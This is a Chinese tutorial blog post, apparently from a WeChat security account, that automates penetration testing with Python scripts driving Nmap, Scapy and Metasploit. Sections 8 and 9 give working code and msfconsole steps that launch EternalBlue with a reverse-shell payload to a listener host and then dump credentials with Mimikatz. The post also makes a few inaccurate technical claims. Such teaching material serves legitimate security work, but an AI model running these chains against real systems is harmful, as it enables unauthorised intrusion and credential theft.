1.摘要
将复杂的问题简单化,不仅能鼓舞士气, 还能让自己在某个领域有信心深入的去耕耘。本文的内容假设读者具备基本的Python编程基础, 至少能自己搭建Python开发环境, 不需要有复杂安全工具的使用经验,因为用脚本就能替代完成, 但如果要深耕网络安全领域,对一些主流的安全工具工作原理还是要了解一些, 否则将来遇到复杂的需求,增强自己的工具脚本会比较吃力。
2.为什么选择Python
首先,无论是国内还是国外, Python在编程语言领域稳稳占据排行榜第一的位置, 用最少的代码, 最少的时间换取同等的结果,就是选择Python最核心的原因。Python的简单性、多功能性和广泛的第三方库使其成为开发自定义渗透测试工具和自动化测试过程各阶段的理想选择。
文本的核心内容将用最少的Python代码实现Metasploit框架、Nmap和Scape等渗透测试工具的自动化操控, 并将结果为我所用。
3.有必要了解的一些基础知识
-
什么是渗透测试:是一种主动的网络安全评估技术,用于识别和利用系统、网络和应用程序中的漏洞。渗透测试的主要目标是模拟真实世界的网络攻击,以评估组织的数字资产和基础设施的安全状况。渗透测试的主要目的是在恶意行为者利用它们之前发现安全漏洞。通过识别漏洞和错误配置,组织可以修复问题并加强其整体安全状况。
-
渗透测试方法学:渗透测试通常遵循一种系统化的方法,包括侦察、扫描、利用和利用后活动。测试人员使用各种工具、技术和方法来模拟不同类型的网络攻击,包括但不限于网络攻击、Web应用程序攻击和社会工程攻击。
-
渗透测试类型:黑盒测试-测试人员没有目标系统的先验知识,需模拟外部攻击者。白盒测试-测试人员完全了解目标系统,包括网络图、源代码和体系结构细节。灰盒测试-测试人员对目标系统有部分了解,模拟内部威胁或受损的用户帐户。
-
渗透测试适用范围:可以在技术堆栈的各个级别进行,包括网络基础设施、Web应用程序、移动的应用程序、云服务和物联网设备。渗透测试的范围是根据组织的特定目标、资产和风险承受能力来定义的。
-
渗透测试报告:在完成渗透测试过程后,测试人员会编写一份详细的报告,概述调查结果,包括已识别的漏洞、利用技术和补救建议。该报告为利益相关者提供了可操作的见解,以有效地优先考虑和解决安全问题。
-
渗透测试合规性:正规的渗透测试需要遵循客户或组织以及法律的相关规定, 个人不要尝试对未授权目标进行渗透。
-
持续改进:渗透测试不是一次性的活动,而是一个持续的过程。组织应定期进行渗透测试,以评估其不断变化的安全态势,并确保及时识别和解决新的漏洞。持续改进对于领先于新兴威胁并保持抵御网络攻击的能力至关重要。
4.编写Metasploit工具调用脚本
Metasploit是全球网络安全专业人员使用的最流行的渗透测试框架之一。虽然Metasploit主要是用Ruby编写的,但它提供了一个Python接口(msfconsole)用于脚本和自动化。Python脚本可用于与Metasploit模块交互、自动化漏洞利用交付以及执行漏洞利用后的任务。以下是调用Metasploit工具的Python脚本:
# 用于与Metasploit的RPC API交互的Python脚本示例
from
metasploit.msfrpc
import
MsfRpcClient
# 连接到Metasploit RPC服务器
client = MsfRpcClient(
'your-msf-host'
, port=
55553
, username=
'msf'
, password=
'msf'
)
# 列出可用的漏洞利用模块
exploits = client.modules.exploits
for
exploit
in
exploits:
print(exploit)
5.编写Nmap工具调用脚本
Nmap(Network Mapper)是一个强大的开源工具,用于网络发现和安全审计。虽然Nmap本身是用C和Lua编写的,但它提供了Python绑定, 即:Nmap脚本引擎- NSE来开发自定义脚本以扩展其功能。调用Nmap工具的Python脚本:
# 使用Nmap的Python绑定功能的脚本
import
nmap
# 创建一个Nmap PortScanner对象
scanner = nmap.PortScanner()
# 扫描目标IP地址的开放端口
scanner.scan(
'192.168.1.0/24'
, arguments=
'-p 22,80,443'
)
# 打印扫描结果
for
host
in
scanner.all_hosts():
print(
f"Host:
{host}
"
)
print(
f"Open ports:
{scanner[host][
'tcp'
].keys()}
"
)
6.编写Scapy工具调用脚本
Scapy是一个用Python编写的多功能数据包操作工具。它允许网络安全专业人员制作自定义数据包,通过网络发送,并分析响应。Scapy的灵活性使其在渗透测试过程中进行网络侦察、数据包嗅探和协议利用方面非常有用。以下是调用Scapy工具的Python脚本:
# 使用Scapy进行网络侦察的Python脚本
from
scapy.all
import
*
# 向目标主机发送ICMP回显请求
response = sr1(IP(dst=
"192.168.1.1"
)/ICMP())
# 打印响应结果
if
response:
response.show()
else
:
print(
"No response received."
)
7.用Python编写业务需求-网络侦查
Python脚本可以通过收集有关目标网络的信息(如IP地址、开放端口、在这些端口上运行的服务和网络拓扑)来自动执行侦察阶段。像Nmap和Scapy这样的库可以用来执行主动和被动的侦察扫描。以下是一个用Pytho编写的前期进行网络侦查的例子脚本:
import
nmap
from
scapy.all
import
*
# Nmap扫描类
class
NmapScanner
:
def
__init__
(self, target)
:
self.target = target
self.scanner = nmap.PortScanner()
def
scan
(self)
:
print(
f"Scanning
{self.target}
..."
)
self.scanner.scan(self.target, arguments=
'-sS'
)
scan_data = self.scanner[self.target]
return
scan_data
# Scapy信息收集类
class
ScapyCollector
:
def
__init__
(self, target)
:
self.target = target
def
arp_scan
(self)
:
print(
f"Performing ARP scan on
{self.target}
network..."
)
arp_request = ARP(pdst=self.target)
broadcast = Ether(dst=
"ff:ff:ff:ff:ff:ff"
)
arp_request_broadcast = broadcast/arp_request
answered_list = srp(arp_request_broadcast, timeout=
1
, verbose=
0
)[
0
]
clients = []
for
element
in
answered_list:
client_dict = {
"ip"
: element[
1
].psrc,
"mac"
: element[
1
].hwsrc}
clients.append(client_dict)
return
clients
def
icmp_ping
(self)
:
print(
f"Performing ICMP Ping scan on
{self.target}
..."
)
ping = IP(dst=self.target)/ICMP()
response = sr1(ping, timeout=
1
, verbose=
0
)
if
response:
return
f"
{self.target}
is up"
else
:
return
f"
{self.target}
is down"
def
main
()
:
target = input(
"Enter target IP or network (e.g., 192.168.1.0/24): "
)
# Nmap扫描
scanner = NmapScanner(target)
scan_data = scanner.scan()
# 输出扫描结果
for
proto
in
scan_data.all_protocols():
lport = scan_data[proto].keys()
for
port
in
lport:
state = scan_data[proto][port][
'state'
]
print(
f"Port
{port}
is
{state}
"
)
# Scapy信息收集
collector = ScapyCollector(target)
# 进行ARP扫描
arp_results = collector.arp_scan()
print(
"ARP Scan Results:"
)
for
client
in
arp_results:
print(
f"IP:
{client[
'ip'
]}
MAC:
{client[
'mac'
]}
"
)
# 进行ICMP Ping扫描
icmp_result = collector.icmp_ping()
print(
"ICMP Ping Result:"
)
print(icmp_result)
if
__name__ ==
"__main__"
:
main()
在上面的代码中,NmapScanner 类用于对目标进行端口扫描。它使用 nmap
库执行 SYN 扫描。ScapyCollector 类用于使用 Scapy 执行信息收集任务:arp_scan()
方法进行 ARP 扫描,发现网络上的活动设备及其 MAC 地址。icmp_ping()
方法执行 ICMP Ping 扫描,检查目标是否在线。main()
函数中,用户输入目标IP地址或网络范围,然后使用 Nmap 进行扫描,显示所有开放的端口状态。接着使用 Scapy 执行 ARP 扫描和 ICMP Ping 扫描,收集网络信息。
8.利用Python使用Metasploit漏洞模块
Python脚本可以通过利用Metasploit模块或自定义漏洞利用代码来自动利用已发现的漏洞。可以开发恶意软件来识别易受攻击的系统,选择适当的漏洞,并对目标主机发起攻击。
以下是一段利用Metasploit漏洞模块的Python脚本:
from
metasploit.msfrpc
import
MsfRpcClient
def
run_exploit
(target_ip, exploit_name, payload_name, options)
:
# 连接到Metasploit RPC服务
client = MsfRpcClient(
'password'
, ssl=
True
)
# 使用指定的漏洞模块
exploit = client.modules.use(
'exploit'
, exploit_name)
# 设置漏洞模块选项
for
option, value
in
options.items():
exploit[option] = value
# 使用指定的有效负载
payload = client.modules.use(
'payload'
, payload_name)
# 设置有效负载选项
for
option, value
in
options.items():
payload[option] = value
# 运行漏洞模块
exploit.execute(payload=payload)
if
__name__ ==
"__main__"
:
target_ip =
"192.168.1.100"
exploit_name =
"windows/smb/ms17_010_eternalblue"
payload_name =
"windows/meterpreter/reverse_tcp"
options = {
'RHOSTS'
: target_ip,
'LHOST'
:
'192.168.1.101'
,
'LPORT'
:
4444
}
run_exploit(target_ip, exploit_name, payload_name, options)
该脚本完成以下功能:
连接到Metasploit RPC服务:使用提供的密码连接到本地运行的 Metasploit RPC 服务。
选择并配置漏洞模块:使用指定的漏洞模块,并设置相关选项,如目标IP地址。
选择并配置有效负载:使用指定的有效负载,并设置相关选项,如本地IP地址和端口。
运行漏洞模块:执行漏洞模块,利用指定的漏洞攻击目标系统。
在运行上面的脚本之前,请确保 Metasploit RPC 服务正在运行:
msfconsole -x "
load
msgrpc ServerHost=
127.0
.0
.1
Pass=
password
"
9.利用Python使用mimikatz模块
Python脚本可以在获得对目标系统的初始访问权限后自动执行开发后活动,例如权限提升、横向移动和数据泄漏。脚本可以与操作系统API交互、操作文件和目录以及远程执行命令。
使用Python脚本实现该功能的代码如下:
from
metasploit.msfrpc
import
MsfRpcClient
def
run_mimikatz
(target_ip, session_id)
:
# 连接到Metasploit RPC服务
client = MsfRpcClient(
'password'
, ssl=
True
)
# 使用Mimikatz模块
mimikatz = client.modules.use(
'post'
,
'windows/gather/credentials/mimikatz'
)
# 设置Mimikatz模块选项
mimikatz[
'SESSION'
] = session_id
# 运行Mimikatz模块
print(
"Running Mimikatz on target..."
)
result = mimikatz.execute()
# 打印结果
for
line
in
result[
'job'
][
'result'
]:
print(line)
if
__name__ ==
"__main__"
:
target_ip =
"192.168.1.100"
session_id =
1
# 假设我们已经获得了目标的一个Meterpreter会话,ID为1
run_mimikatz(target_ip, session_id)
为了成功运行上述脚本,需要先获得一个有效的 Meterpreter 会话(例如,通过之前使用的 ms17_010_eternalblue
漏洞模块)。以下是在 Metasploit 控制台中获得 Meterpreter 会话的示例步骤:
1.启动Metasploit 控制台:
msfconsole
2.使用 ms17_010_eternalblue
漏洞模块:
use
exploit/windows/smb/ms17_010_eternalblue
set
RHOSTS
192.168
.1
.100
set
LHOST
192.168
.1
.101
set
LPORT
4444
set
PAYLOAD windows/meterpreter/reverse_tcp
exploit
获得 Meterpreter 会话后,记下会话ID(例如,1),然后在 Python 脚本中使用该ID。
10.总结
Python在现代渗透测试中发挥着至关重要的作用,使网络安全专业人员能够开发自定义工具并自动化测试过程的各个阶段。通过利用Python的简单性和广泛的库,从业者可以提高识别和减轻安全风险的效率和有效性。随着网络威胁的不断发展,Python仍然是白帽子和安全研究人员武器库中不可或缺的工具,使他们能够抵御新兴威胁并保护数字资产。
原文始发于微信公众号(二进制空间安全):简化渗透测试整体流程的几个脚本
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论